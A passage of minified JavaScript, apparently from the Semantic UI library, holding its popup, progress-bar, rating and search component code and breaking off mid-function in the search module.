c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},p?(N===i&&C.initialize(),C.invoke(g)):(N!==i&&N.invoke("destroy"),C.initialize())}),a!==i?a:this},e.fn.popup.settings={name:"Popup",silent:!1,debug:!1,verbose:!1,performance:!0,namespace:"popup",observeChanges:!0,onCreate:function(){},onRemove:function(){},onShow:function(){},onVisible:function(){},onHide:function(){},onUnplaceable:function(){},onHidden:function(){},on:"hover",boundary:t,addTouchEvents:!0,position:"top left",variation:"",movePopup:!0,target:!1,popup:!1,inline:!1,preserve:!1,hoverable:!1,content:!1,html:!1,title:!1,closable:!0,hideOnScroll:"auto",exclusive:!1,context:"body",scrollContext:t,prefer:"opposite",lastResort:!1,delay:{show:50,hide:70},setFluidWidth:!0,duration:200,transition:"scale",distanceAway:0,jitter:2,offset:0,maxSearchDepth:15,error:{invalidPosition:"The position you specified is not a valid position",cannotPlace:"Popup does not fit within the boundaries of the viewport",method:"The method you called is not defined.",noTransition:"This module requires ui transitions <path_to_url",notFound:"The target or popup you specified does not exist on the page"},metadata:{activator:"activator",content:"content",html:"html",offset:"offset",position:"position",title:"title",variation:"variation"},className:{active:"active",animating:"animating",dropdown:"dropdown",fluid:"fluid",loading:"loading",popup:"ui popup",position:"top left center bottom right",visible:"visible"},selector:{popup:".ui.popup"},templates:{escape:function(e){var t=/[&<>"'`]/g,n=/[&<>"'`]/,i={"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&#x27;","`":"&#x60;"},o=function(e){return i[e]};return n.test(e)?e.replace(t,o):e},popup:function(t){var n="",o=e.fn.popup.settings.templates.escape;return typeof t!==i&&(typeof t.title!==i&&t.title&&(t.title=o(t.title),n+='<div class="header">'+t.title+"</div>"),typeof t.content!==i&&t.content&&(t.content=o(t.content),n+='<div class="content">'+t.content+"</div>")),n}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();e.fn.progress=function(t){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments[0],u="string"==typeof c,d=[].slice.call(arguments,1);return a.each(function(){var a,f,m=e.isPlainObject(t)?e.extend(!0,{},e.fn.progress.settings,t):e.extend({},e.fn.progress.settings),g=m.className,p=m.metadata,h=m.namespace,v=m.selector,b=m.error,y="."+h,x="module-"+h,C=e(this),w=e(this).find(v.bar),k=e(this).find(v.progress),S=e(this).find(v.label),T=this,A=C.data(x),R=!1;f={initialize:function(){f.debug("Initializing progress bar",m),f.set.duration(),f.set.transitionEvent(),f.read.metadata(),f.read.settings(),f.instantiate()},instantiate:function(){f.verbose("Storing instance of progress",f),A=f,C.data(x,f)},destroy:function(){f.verbose("Destroying previous progress for",C),clearInterval(A.interval),f.remove.state(),C.removeData(x),A=i},reset:function(){f.remove.nextValue(),f.update.progress(0)},complete:function(){(f.percent===i||f.percent<100)&&(f.remove.progressPoll(),f.set.percent(100))},read:{metadata:function(){var e={percent:C.data(p.percent),total:C.data(p.total),value:C.data(p.value)};e.percent&&(f.debug("Current percent value set from metadata",e.percent),f.set.percent(e.percent)),e.total&&(f.debug("Total value set from metadata",e.total),f.set.total(e.total)),e.value&&(f.debug("Current value set from metadata",e.value),f.set.value(e.value),f.set.progress(e.value))},settings:function(){m.total!==!1&&(f.debug("Current total set in settings",m.total),f.set.total(m.total)),m.value!==!1&&(f.debug("Current value set in settings",m.value),f.set.value(m.value),f.set.progress(f.value)),m.percent!==!1&&(f.debug("Current percent set in settings",m.percent),f.set.percent(m.percent))}},bind:{transitionEnd:function(e){var t=f.get.transitionEnd();w.one(t+y,function(t){clearTimeout(f.failSafeTimer),e.call(this,t)}),f.failSafeTimer=setTimeout(function(){w.triggerHandler(t)},m.duration+m.failSafeDelay),f.verbose("Adding fail safe timer",f.timer)}},increment:function(e){var t,n,i;f.has.total()?(n=f.get.value(),e=e||1,i=n+e):(n=f.get.percent(),e=e||f.get.randomValue(),i=n+e,t=100,f.debug("Incrementing percentage by",n,i)),i=f.get.normalizedValue(i),f.set.progress(i)},decrement:function(e){var t,n,i=f.get.total();i?(t=f.get.value(),e=e||1,n=t-e,f.debug("Decrementing value by",e,t)):(t=f.get.percent(),e=e||f.get.randomValue(),n=t-e,f.debug("Decrementing percentage by",e,t)),n=f.get.normalizedValue(n),f.set.progress(n)},has:{progressPoll:function(){return f.progressPoll},total:function(){return f.get.total()!==!1}},get:{text:function(e){var t=f.value||0,n=f.total||0,i=R?f.get.displayPercent():f.percent||0,o=f.total>0?n-t:100-i;return e=e||"",e=e.replace("{value}",t).replace("{total}",n).replace("{left}",o).replace("{percent}",i),f.verbose("Adding variables to progress bar text",e),e},normalizedValue:function(e){if(e<0)return f.debug("Value cannot decrement below 0"),0;if(f.has.total()){if(e>f.total)return f.debug("Value cannot increment above total",f.total),f.total}else if(e>100)return f.debug("Value cannot increment above 100 percent"),100;return e},updateInterval:function(){return"auto"==m.updateInterval?m.duration:m.updateInterval},randomValue:function(){return f.debug("Generating random increment percentage"),Math.floor(Math.random()*m.random.max+m.random.min)},numericValue:function(e){return"string"==typeof e?""!==e.replace(/[^\d.]/g,"")&&+e.replace(/[^\d.]/g,""):e},transitionEnd:function(){var e,t=n.createElement("element"),o={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(e in o)if(t.style[e]!==i)return o[e]},displayPercent:function(){var e=w.width(),t=C.width(),n=parseInt(w.css("min-width"),10),i=e>n?e/t*100:f.percent;return m.precision>0?Math.round(i*(10*m.precision))/(10*m.precision):Math.round(i)},percent:function(){return f.percent||0},value:function(){return f.nextValue||f.value||0},total:function(){return f.total||!1}},create:{progressPoll:function(){f.progressPoll=setTimeout(function(){f.update.toNextValue(),f.remove.progressPoll()},f.get.updateInterval())}},is:{complete:function(){return f.is.success()||f.is.warning()||f.is.error()},success:function(){return C.hasClass(g.success)},warning:function(){return C.hasClass(g.warning)},error:function(){return C.hasClass(g.error)},active:function(){return C.hasClass(g.active)},visible:function(){return C.is(":visible")}},remove:{progressPoll:function(){f.verbose("Removing progress poll timer"),f.progressPoll&&(clearTimeout(f.progressPoll),delete f.progressPoll)},nextValue:function(){f.verbose("Removing progress value stored for next update"),delete f.nextValue},state:function(){f.verbose("Removing stored state"),delete f.total,delete f.percent,delete f.value},active:function(){f.verbose("Removing active state"),C.removeClass(g.active)},success:function(){f.verbose("Removing success state"),C.removeClass(g.success)},warning:function(){f.verbose("Removing warning state"),C.removeClass(g.warning)},error:function(){f.verbose("Removing error state"),C.removeClass(g.error)}},set:{barWidth:function(e){e>100?f.error(b.tooHigh,e):e<0?f.error(b.tooLow,e):(w.css("width",e+"%"),C.attr("data-percent",parseInt(e,10)))},duration:function(e){e=e||m.duration,e="number"==typeof e?e+"ms":e,f.verbose("Setting progress bar transition duration",e),w.css({"transition-duration":e})},percent:function(e){e="string"==typeof e?+e.replace("%",""):e,e=m.precision>0?Math.round(e*(10*m.precision))/(10*m.precision):Math.round(e),f.percent=e,f.has.total()||(f.value=m.precision>0?Math.round(e/100*f.total*(10*m.precision))/(10*m.precision):Math.round(e/100*f.total*10)/10,m.limitValues&&(f.value=f.value>100?100:f.value<0?0:f.value)),f.set.barWidth(e),f.set.labelInterval(),f.set.labels(),m.onChange.call(T,e,f.value,f.total)},labelInterval:function(){var t=function(){f.verbose("Bar finished animating, removing continuous label updates"),clearInterval(f.interval),R=!1,f.set.labels()};clearInterval(f.interval),f.bind.transitionEnd(t),R=!0,f.interval=setInterval(function(){var t=e.contains(n.documentElement,T);t||(clearInterval(f.interval),R=!1),f.set.labels()},m.framerate)},labels:function(){f.verbose("Setting both bar progress and outer label text"),f.set.barLabel(),f.set.state()},label:function(e){e=e||"",e&&(e=f.get.text(e),f.verbose("Setting label to text",e),S.text(e))},state:function(e){e=e!==i?e:f.percent,100===e?m.autoSuccess&&!(f.is.warning()||f.is.error()||f.is.success())?(f.set.success(),f.debug("Automatically triggering success at 100%")):(f.verbose("Reached 100% removing active state"),f.remove.active(),f.remove.progressPoll()):e>0?(f.verbose("Adjusting active progress bar label",e),f.set.active()):(f.remove.active(),f.set.label(m.text.active))},barLabel:function(e){e!==i?k.text(f.get.text(e)):"ratio"==m.label&&f.total?(f.verbose("Adding ratio to bar label"),k.text(f.get.text(m.text.ratio))):"percent"==m.label&&(f.verbose("Adding percentage to bar label"),k.text(f.get.text(m.text.percent)))},active:function(e){e=e||m.text.active,f.debug("Setting active state"),m.showActivity&&!f.is.active()&&C.addClass(g.active),f.remove.warning(),f.remove.error(),f.remove.success(),e=m.onLabelUpdate("active",e,f.value,f.total),e&&f.set.label(e),f.bind.transitionEnd(function(){m.onActive.call(T,f.value,f.total)})},success:function(e){e=e||m.text.success||m.text.active,f.debug("Setting success state"),C.addClass(g.success),f.remove.active(),f.remove.warning(),f.remove.error(),f.complete(),m.text.success?(e=m.onLabelUpdate("success",e,f.value,f.total),f.set.label(e)):(e=m.onLabelUpdate("active",e,f.value,f.total),f.set.label(e)),f.bind.transitionEnd(function(){m.onSuccess.call(T,f.total)})},warning:function(e){e=e||m.text.warning,f.debug("Setting warning state"),C.addClass(g.warning),f.remove.active(),f.remove.success(),f.remove.error(),f.complete(),e=m.onLabelUpdate("warning",e,f.value,f.total),e&&f.set.label(e),f.bind.transitionEnd(function(){m.onWarning.call(T,f.value,f.total)})},error:function(e){e=e||m.text.error,f.debug("Setting error state"),C.addClass(g.error),f.remove.active(),f.remove.success(),f.remove.warning(),f.complete(),e=m.onLabelUpdate("error",e,f.value,f.total),e&&f.set.label(e),f.bind.transitionEnd(function(){m.onError.call(T,f.value,f.total)})},transitionEvent:function(){a=f.get.transitionEnd()},total:function(e){f.total=e},value:function(e){f.value=e},progress:function(e){f.has.progressPoll()?(f.debug("Updated within interval, setting next update to use new value",e),f.set.nextValue(e)):(f.debug("First update in progress update interval, immediately updating",e),f.update.progress(e),f.create.progressPoll())},nextValue:function(e){f.nextValue=e}},update:{toNextValue:function(){var e=f.nextValue;e&&(f.debug("Update interval complete using last updated value",e),f.update.progress(e),f.remove.nextValue())},progress:function(e){var t;e=f.get.numericValue(e),e===!1&&f.error(b.nonNumeric,e),e=f.get.normalizedValue(e),f.has.total()?(f.set.value(e),t=e/f.total*100,f.debug("Calculating percent complete from total",t),f.set.percent(t)):(t=e,f.debug("Setting value to exact percentage value",t),f.set.percent(t))}},setting:function(t,n){if(f.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];f[t]=n}},debug:function(){!m.silent&&m.debug&&(m.performance?f.performance.log(arguments):(f.debug=Function.prototype.bind.call(console.info,console,m.name+":"),f.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?f.performance.log(arguments):(f.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),f.verbose.apply(console,arguments)))},error:function(){m.silent||(f.error=Function.prototype.bind.call(console.error,console,m.name+":"),f.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=s||t,n=t-i,s=t,l.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:T,"Execution Time":n})),clearTimeout(f.performance.timer),f.performance.timer=setTimeout(f.performance.display,500)},display:function(){var t=m.name+":",n=0;s=!1,clearTimeout(f.performance.timer),e.each(l,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",r&&(t+=" '"+r+"'"),(console.group!==i||console.table!==i)&&l.length>0&&(console.groupCollapsed(t),console.table?console.table(l):e.each(l,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),l=[]}},invoke:function(t,n,a){var r,s,l,c=A;return n=n||d,a=T||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(f.error(b.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,n):s!==i&&(l=s),e.isArray(o)?o.push(l):o!==i?o=[o,l]:l!==i&&(o=l),s}},u?(A===i&&f.initialize(),f.invoke(c)):(A!==i&&A.invoke("destroy"),f.initialize())}),o!==i?o:this},e.fn.progress.settings={name:"Progress",namespace:"progress",silent:!1,debug:!1,verbose:!1,performance:!0,random:{min:2,max:5},duration:300,updateInterval:"auto",autoSuccess:!0,showActivity:!0,limitValues:!0,label:"percent",precision:0,framerate:1e3/30,percent:!1,total:!1,value:!1,failSafeDelay:100,onLabelUpdate:function(e,t,n,i){return t},onChange:function(e,t,n){},onSuccess:function(e){},onActive:function(e,t){},onError:function(e,t){},onWarning:function(e,t){},error:{method:"The method you called is not defined.",nonNumeric:"Progress value is non numeric",tooHigh:"Value specified is above 100%",tooLow:"Value specified is below 0%"},regExp:{variable:/\{\$*[A-z0-9]+\}/g},metadata:{percent:"percent",total:"total",value:"value"},selector:{bar:"> .bar",label:"> .label",progress:".bar > .progress"},text:{active:!1,error:!1,success:!1,warning:!1,percent:"{percent}%",ratio:"{value} of {total}"},className:{active:"active",error:"error",success:"success",warning:"warning"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.rating=function(t){var n,o=e(this),a=o.selector||"",r=(new Date).getTime(),s=[],l=arguments[0],c="string"==typeof l,u=[].slice.call(arguments,1);return o.each(function(){var d,f,m=e.isPlainObject(t)?e.extend(!0,{},e.fn.rating.settings,t):e.extend({},e.fn.rating.settings),g=m.namespace,p=m.className,h=m.metadata,v=m.selector,b=(m.error,"."+g),y="module-"+g,x=this,C=e(this).data(y),w=e(this),k=w.find(v.icon);f={initialize:function(){f.verbose("Initializing rating module",m),0===k.length&&f.setup.layout(),m.interactive?f.enable():f.disable(),f.set.initialLoad(),f.set.rating(f.get.initialRating()),f.remove.initialLoad(),f.instantiate()},instantiate:function(){f.verbose("Instantiating module",m),C=f,w.data(y,f)},destroy:function(){f.verbose("Destroying previous instance",C),f.remove.events(),w.removeData(y)},refresh:function(){k=w.find(v.icon)},setup:{layout:function(){var t=f.get.maxRating(),n=e.fn.rating.settings.templates.icon(t);f.debug("Generating icon html dynamically"),w.html(n),f.refresh()}},event:{mouseenter:function(){var t=e(this);t.nextAll().removeClass(p.selected),w.addClass(p.selected),t.addClass(p.selected).prevAll().addClass(p.selected)},mouseleave:function(){w.removeClass(p.selected),k.removeClass(p.selected)},click:function(){var t=e(this),n=f.get.rating(),i=k.index(t)+1,o="auto"==m.clearable?1===k.length:m.clearable;o&&n==i?f.clearRating():f.set.rating(i)}},clearRating:function(){f.debug("Clearing current rating"),f.set.rating(0)},bind:{events:function(){f.verbose("Binding events"),w.on("mouseenter"+b,v.icon,f.event.mouseenter).on("mouseleave"+b,v.icon,f.event.mouseleave).on("click"+b,v.icon,f.event.click)}},remove:{events:function(){f.verbose("Removing events"),w.off(b)},initialLoad:function(){d=!1}},enable:function(){f.debug("Setting rating to interactive mode"),f.bind.events(),w.removeClass(p.disabled)},disable:function(){f.debug("Setting rating to read-only mode"),f.remove.events(),w.addClass(p.disabled)},is:{initialLoad:function(){return d}},get:{initialRating:function(){return w.data(h.rating)!==i?(w.removeData(h.rating),w.data(h.rating)):m.initialRating},maxRating:function(){return w.data(h.maxRating)!==i?(w.removeData(h.maxRating),w.data(h.maxRating)):m.maxRating},rating:function(){var e=k.filter("."+p.active).length;return f.verbose("Current rating retrieved",e),e}},set:{rating:function(e){var t=e-1>=0?e-1:0,n=k.eq(t);w.removeClass(p.selected),k.removeClass(p.selected).removeClass(p.active),e>0&&(f.verbose("Setting current rating to",e),n.prevAll().addBack().addClass(p.active)),f.is.initialLoad()||m.onRate.call(x,e)},initialLoad:function(){d=!0}},setting:function(t,n){if(f.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,m,t);else{if(n===i)return m[t];e.isPlainObject(m[t])?e.extend(!0,m[t],n):m[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,f,t);else{if(n===i)return f[t];f[t]=n}},debug:function(){!m.silent&&m.debug&&(m.performance?f.performance.log(arguments):(f.debug=Function.prototype.bind.call(console.info,console,m.name+":"),f.debug.apply(console,arguments)))},verbose:function(){!m.silent&&m.verbose&&m.debug&&(m.performance?f.performance.log(arguments):(f.verbose=Function.prototype.bind.call(console.info,console,m.name+":"),f.verbose.apply(console,arguments)))},error:function(){m.silent||(f.error=Function.prototype.bind.call(console.error,console,m.name+":"),f.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;m.performance&&(t=(new Date).getTime(),i=r||t,n=t-i,r=t,s.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:x,"Execution Time":n})),clearTimeout(f.performance.timer),f.performance.timer=setTimeout(f.performance.display,500)},display:function(){var t=m.name+":",n=0;r=!1,clearTimeout(f.performance.timer),e.each(s,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",a&&(t+=" '"+a+"'"),o.length>1&&(t+=" ("+o.length+")"),(console.group!==i||console.table!==i)&&s.length>0&&(console.groupCollapsed(t),console.table?console.table(s):e.each(s,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),s=[]}},invoke:function(t,o,a){var r,s,l,c=C;return o=o||u,a=x||a,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(a,o):s!==i&&(l=s),e.isArray(n)?n.push(l):n!==i?n=[n,l]:l!==i&&(n=l),s}},c?(C===i&&f.initialize(),f.invoke(l)):(C!==i&&C.invoke("destroy"),f.initialize())}),n!==i?n:this},e.fn.rating.settings={name:"Rating",namespace:"rating",slent:!1,debug:!1,verbose:!1,performance:!0,initialRating:0,interactive:!0,maxRating:4,clearable:"auto",fireOnInit:!1,onRate:function(e){},error:{method:"The method you called is not defined",noMaximum:"No maximum rating specified. Cannot generate HTML automatically"},metadata:{rating:"rating",maxRating:"maxRating"},className:{active:"active",disabled:"disabled",selected:"selected",loading:"loading"},selector:{icon:".icon"},templates:{icon:function(e){for(var t=1,n="";t<=e;)n+='<i class="icon"></i>',t++;return n}}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(), e.fn.search=function(o){var a,r=e(this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1);return e(this).each(function(){var m,g=e.isPlainObject(o)?e.extend(!0,{},e.fn.search.settings,o):e.extend({},e.fn.search.settings),p=g.className,h=g.metadata,v=g.regExp,b=g.fields,y=g.selector,x=g.error,C=g.namespace,w="."+C,k=C+"-module",S=e(this),T=S.find(y.prompt),A=S.find(y.searchButton),R=S.find(y.results),E=S.find(y.result),P=S.find(y.category),F=this,O=S.data(k),D=!1;m={initialize:function(){m.verbose("Initializing module"),m.determine.searchFields(),m.bind.events(),m.set.type(),m.create.results(),m.instantiate()},instantiate:function(){m.verbose("Storing instance of module",m),O=m,S.data(k,m)},destroy:function(){m.verbose("Destroying instance"),S.off(w).removeData(k)},refresh:function(){m.debug("Refreshing selector cache"),T=S.find(y.prompt),A=S.find(y.searchButton),P=S.find(y.category),R=S.find(y.results),E=S.find(y.result)},refreshResults:function(){R=S.find(y.results),E=S.find(y.result)},bind:{events:function(){m.verbose("Binding events to search"),g.automatic&&(S.on(m.get.inputEvent()+w,y.prompt,m.event.input),T.attr("autocomplete","off")),S.on("focus"+w,y.prompt,m.event.focus).on("blur"+w,y.prompt,m.event.blur).on("keydown"+w,y.prompt,m.handleKeyboard).on("click"+w,y.searchButton,m.query).on("mousedown"+w,y.results,m.event.result.mousedown).on("mouseup"+w,y.results,m.event.result.mouseup).on("click"+w,y.result,m.event.result.click)}},determine:{searchFields:function(){o&&o.searchFields!==i&&(g.searchFields=o.searchFields)}},event:{input:function(){clearTimeout(m.timer),m.timer=setTimeout(m.query,g.searchDelay)},focus:function(){m.set.focus(),m.has.minimumCharacters()&&(m.query(),m.can.show()&&m.showResults())},blur:function(e){var t=n.activeElement===this,i=function(){m.cancel.query(),m.remove.focus(),m.timer=setTimeout(m.hideResults,g.hideDelay)};t||(m.resultsClicked?(m.debug("Determining if user action caused search to close"),S.one("click.close"+w,y.results,function(e){return m.is.inMessage(e)||D?void T.focus():(D=!1,void(m.is.animating()||m.is.hidden()||i()))})):(m.debug("Input blurred without user action, closing results"),i()))},result:{mousedown:function(){m.resultsClicked=!0},mouseup:function(){m.resultsClicked=!1},click:function(n){m.debug("Search result selected");var i=e(this),o=i.find(y.title).eq(0),a=i.is("a[href]")?i:i.find("a[href]").eq(0),r=a.attr("href")||!1,s=a.attr("target")||!1,l=(o.html(),o.length>0&&o.text()),c=m.get.results(),u=i.data(h.result)||m.get.result(l,c);return e.isFunction(g.onSelect)&&g.onSelect.call(F,u,c)===!1?(m.debug("Custom onSelect callback cancelled default select action"),void(D=!0)):(m.hideResults(),l&&m.set.value(l),void(r&&(m.verbose("Opening search link found in result",a),"_blank"==s||n.ctrlKey?t.open(r):t.location.href=r)))}}},handleKeyboard:function(e){var t,n=S.find(y.result),i=S.find(y.category),o=n.filter("."+p.active),a=n.index(o),r=n.length,s=o.length>0,l=e.which,c={backspace:8,enter:13,escape:27,upArrow:38,downArrow:40};if(l==c.escape&&(m.verbose("Escape key pressed, blurring search field"),m.trigger.blur()),m.is.visible())if(l==c.enter){if(m.verbose("Enter key pressed, selecting active result"),n.filter("."+p.active).length>0)return m.event.result.click.call(n.filter("."+p.active),e),e.preventDefault(),!1}else l==c.upArrow&&s?(m.verbose("Up key pressed, changing active result"),t=a-1<0?a:a-1,i.removeClass(p.active),n.removeClass(p.active).eq(t).addClass(p.active).closest(i).addClass(p.active),e.preventDefault()):l==c.downArrow&&(m.verbose("Down key pressed, changing active result"),t=a+1>=r?a:a+1,i.removeClass(p.active),n.removeClass(p.active).eq(t).addClass(p.active).closest(i).addClass(p.active),e.preventDefault());else l==c.enter&&(m.verbose("Enter key pressed, executing query"),m.query(),m.set.buttonPressed(),T.one("keyup",m.remove.buttonFocus))},setup:{api:function(t){var n={debug:g.debug,on:!1,cache:!0,action:"search",urlData:{query:t},onSuccess:function(e){m.parse.response.call(F,e,t)},onAbort:function(e){},onFailure:function(){m.displayMessage(x.serverError)},onError:m.error};e.extend(!0,n,g.apiSettings),m.verbose("Setting up API request",n),S.api(n)}},can:{useAPI:function(){return e.fn.api!==i},show:function(){return m.is.focused()&&!m.is.visible()&&!m.is.empty()},transition:function(){return g.transition&&e.fn.transition!==i&&S.transition("is supported")}},is:{animating:function(){return R.hasClass(p.animating)},hidden:function(){return R.hasClass(p.hidden)},inMessage:function(t){if(t.target){var i=e(t.target),o=e.contains(n.documentElement,t.target);return o&&i.closest(y.message).length>0}},empty:function(){return""===R.html()},visible:function(){return R.filter(":visible").length>0},focused:function(){return T.filter(":focus").length>0}},trigger:{blur:function(){var e=n.createEvent("HTMLEvents"),t=T[0];t&&(m.verbose("Triggering native blur event"),e.initEvent("blur",!1,!1),t.dispatchEvent(e))}},get:{inputEvent:function(){var e=T[0],t=e!==i&&e.oninput!==i?"input":e!==i&&e.onpropertychange!==i?"propertychange":"keyup";return t},value:function(){return T.val()},results:function(){var e=S.data(h.results);return e},result:function(t,n){var o=["title","id"],a=!1;return t=t!==i?t:m.get.value(),n=n!==i?n:m.get.results(),"category"===g.type?(m.debug("Finding result that matches",t),e.each(n,function(n,i){if(e.isArray(i.results)&&(a=m.search.object(t,i.results,o)[0]))return!1})):(m.debug("Finding result in results object",t),a=m.search.object(t,n,o)[0]),a||!1}},select:{firstResult:function(){m.verbose("Selecting first result"),E.first().addClass(p.active)}},set:{focus:function(){S.addClass(p.focus)},loading:function(){S.addClass(p.loading)},value:function(e){m.verbose("Setting search input value",e),T.val(e)},type:function(e){e=e||g.type,"category"==g.type&&S.addClass(g.type)},buttonPressed:function(){A.addClass(p.pressed)}},remove:{loading:function(){S.removeClass(p.loading)},focus:function(){S.removeClass(p.focus)},buttonPressed:function(){A.removeClass(p.pressed)}},query:function(){var t=m.get.value(),n=m.read.cache(t);m.has.minimumCharacters()?(n?(m.debug("Reading result from cache",t),m.save.results(n.results),m.addResults(n.html),m.inject.id(n.results)):(m.debug("Querying for",t),e.isPlainObject(g.source)||e.isArray(g.source)?m.search.local(t):m.can.useAPI()?m.search.remote(t):m.error(x.source)),g.onSearchQuery.call(F,t)):m.hideResults()},search:{local:function(e){var t,n=m.search.object(e,g.content);m.set.loading(),m.save.results(n),m.debug("Returned local search results",n),t=m.generateResults({results:n}),m.remove.loading(),m.addResults(t),m.inject.id(n),m.write.cache(e,{html:t,results:n})},remote:function(e){S.api("is loading")&&S.api("abort"),m.setup.api(e),S.api("query")},object:function(t,n,o){var a=[],r=[],s=t.toString().replace(v.escape,"\\$&"),l=new RegExp(v.beginsWith+s,"i"),c=function(t,n){var i=e.inArray(n,a)==-1,o=e.inArray(n,r)==-1;i&&o&&t.push(n)};return n=n||g.source,o=o!==i?o:g.searchFields,e.isArray(o)||(o=[o]),n===i||n===!1?(m.error(x.source),[]):(e.each(o,function(i,o){e.each(n,function(e,n){var i="string"==typeof n[o];i&&(n[o].search(l)!==-1?c(a,n):g.searchFullText&&m.fuzzySearch(t,n[o])&&c(r,n))})}),e.merge(a,r))}},fuzzySearch:function(e,t){var n=t.length,i=e.length;if("string"!=typeof e)return!1;if(e=e.toLowerCase(),t=t.toLowerCase(),i>n)return!1;if(i===n)return e===t;e:for(var o=0,a=0;o<i;o++){for(var r=e.charCodeAt(o);a<n;)if(t.charCodeAt(a++)===r)continue e;return!1}return!0},parse:{response:function(e,t){var n=m.generateResults(e);m.verbose("Parsing server response",e),e!==i&&t!==i&&e[b.results]!==i&&(m.addResults(n),m.inject.id(e[b.results]),m.write.cache(t,{html:n,results:e[b.results]}),m.save.results(e[b.results]))}},cancel:{query:function(){m.can.useAPI()&&S.api("abort")}},has:{minimumCharacters:function(){var e=m.get.value(),t=e.length;return t>=g.minCharacters}},clear:{cache:function(e){var t=S.data(h.cache);e?e&&t&&t[e]&&(m.debug("Removing value from cache",e),delete t[e],S.data(h.cache,t)):(m.debug("Clearing cache",e),S.removeData(h.cache))}},read:{cache:function(e){var t=S.data(h.cache);return!!g.cache&&(m.verbose("Checking cache for generated html for query",e),"object"==typeof t&&t[e]!==i&&t[e])}},create:{id:function(e,t){var n,o,a=e+1;return t!==i?(n=String.fromCharCode(97+t),o=n+a,m.verbose("Creating category result id",o)):(o=a,m.verbose("Creating result id",o)),o},results:function(){0===R.length&&(R=e("<div />").addClass(p.results).appendTo(S))}},inject:{result:function(e,t,n){m.verbose("Injecting result into results");var o=n!==i?R.children().eq(n).children(y.result).eq(t):R.children(y.result).eq(t);m.verbose("Injecting results metadata",o),o.data(h.result,e)},id:function(t){m.debug("Injecting unique ids into results");var n=0,o=0;return"category"===g.type?e.each(t,function(t,a){o=0,e.each(a.results,function(e,t){var r=a.results[e];r.id===i&&(r.id=m.create.id(o,n)),m.inject.result(r,o,n),o++}),n++}):e.each(t,function(e,n){var a=t[e];a.id===i&&(a.id=m.create.id(o)),m.inject.result(a,o),o++}),t}},save:{results:function(e){m.verbose("Saving current search results to metadata",e),S.data(h.results,e)}},write:{cache:function(e,t){var n=S.data(h.cache)!==i?S.data(h.cache):{};g.cache&&(m.verbose("Writing generated html to cache",e,t),n[e]=t,S.data(h.cache,n))}},addResults:function(t){return e.isFunction(g.onResultsAdd)&&g.onResultsAdd.call(R,t)===!1?(m.debug("onResultsAdd callback cancelled default action"),!1):void(t?(R.html(t),m.refreshResults(),g.selectFirstResult&&m.select.firstResult(),m.showResults()):m.hideResults())},showResults:function(){m.is.visible()||(m.can.transition()?(m.debug("Showing results with css animations"),R.transition({animation:g.transition+" in",debug:g.debug,verbose:g.verbose,duration:g.duration,queue:!0})):(m.debug("Showing results with javascript"),R.stop().fadeIn(g.duration,g.easing)),g.onResultsOpen.call(R))},hideResults:function(){m.is.visible()&&(m.can.transition()?(m.debug("Hiding results with css animations"),R.transition({animation:g.transition+" out",debug:g.debug,verbose:g.verbose,duration:g.duration,queue:!0})):(m.debug("Hiding results with javascript"),R.stop().fadeOut(g.duration,g.easing)),g.onResultsClose.call(R))},generateResults:function(t){m.debug("Generating html from response",t);var n=g.templates[g.type],i=e.isPlainObject(t[b.results])&&!e.isEmptyObject(t[b.results]),o=e.isArray(t[b.results])&&t[b.results].length>0,a="";return 